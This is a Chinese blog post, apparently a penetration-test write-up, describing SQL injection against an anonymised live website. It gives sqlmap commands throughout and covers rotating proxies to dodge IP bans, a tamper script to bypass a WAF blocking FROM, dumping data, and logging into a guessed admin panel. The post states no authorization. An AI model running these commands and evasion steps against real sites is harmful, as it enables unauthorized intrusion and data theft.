前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战|记一次SQL注入过WAF思路分享

实战|记一次SQL注入过WAF思路分享

作者头像
用户1631416
发布2019-11-18 22:47:07
9180
发布2019-11-18 22:47:07
举报

判断注入点

输入 ' --> 报错

输入 '' --> 回显正常

可以确定是使用单引号闭合的

输入 ' and '1'='1 --> 回显正常, 可以查询到数据

输入 ' and '1'='2 --> 回显正常, 但未查询到数据

可以确定存在注入

接下来就是跑数据, 直接掏出sqlmap

sqlmap -u "http://www.xxx.com?id=2" --batch

一片红!!! nice

再次访问IP已经被封掉了

根据经验推测应该是因为访问过于频繁导致的

开代理换个IP, 加个延时参数继续

OK, 成功跑出注入点

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch

查询当前数据库用户权限, 不是高权限, 所以只能去找Web后台管理员账号密码

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --is-dba

查询当前数据库, 成功

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --current-db

查询表, 失败

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables

嗯??? nice

有WAF, 赶紧去访问网站看看IP有没有被封

还好, 没有被封

显示payload, 看看是哪句被拦截了

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3

可以看到第一次被拦截的payload

将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了

手工模糊测试, 发现被拦截的为关键字: FROM

这里说下个人思路:

  1. 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去
  2. sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字, 很遗憾没找到
  3. 然后考虑尝试使用编码, 注释类的脚本去过, 经过反复测试, 成功绕过
  4. 查询tamper脚本的相关文章链接: https://www.freebuf.com/sectool/179035.html
sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3 --tamper=halfversionedmorekeywords

接下来就简单多了

查询表--tables

查询列--columns

查询数据--dump

sqlmap跑数据的同时, 我去找了下后台

因为限制了访问速度, 所以这里我没有选择用御剑等工具去扫, 一般情况下可以先去做下目录扫描

看看有没有robots.txt文件, 404

搜索引擎搜索一波

找到一个会员登录的页面: http://www.xxx.com/login.aspx

额..., 一看会员登录是这种文件名, 管理员后台也不会难找到哪里去

顺手在login.aspx前加了个admin

http://www.xxx.com/admin/login.aspx

特么的就访问成功了...

所以这里我得出了一个重要的结论: 运气好等于成功了一半 (手动滑稽)

成功登录, 至此测试结束

这里不再进行深入测试

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档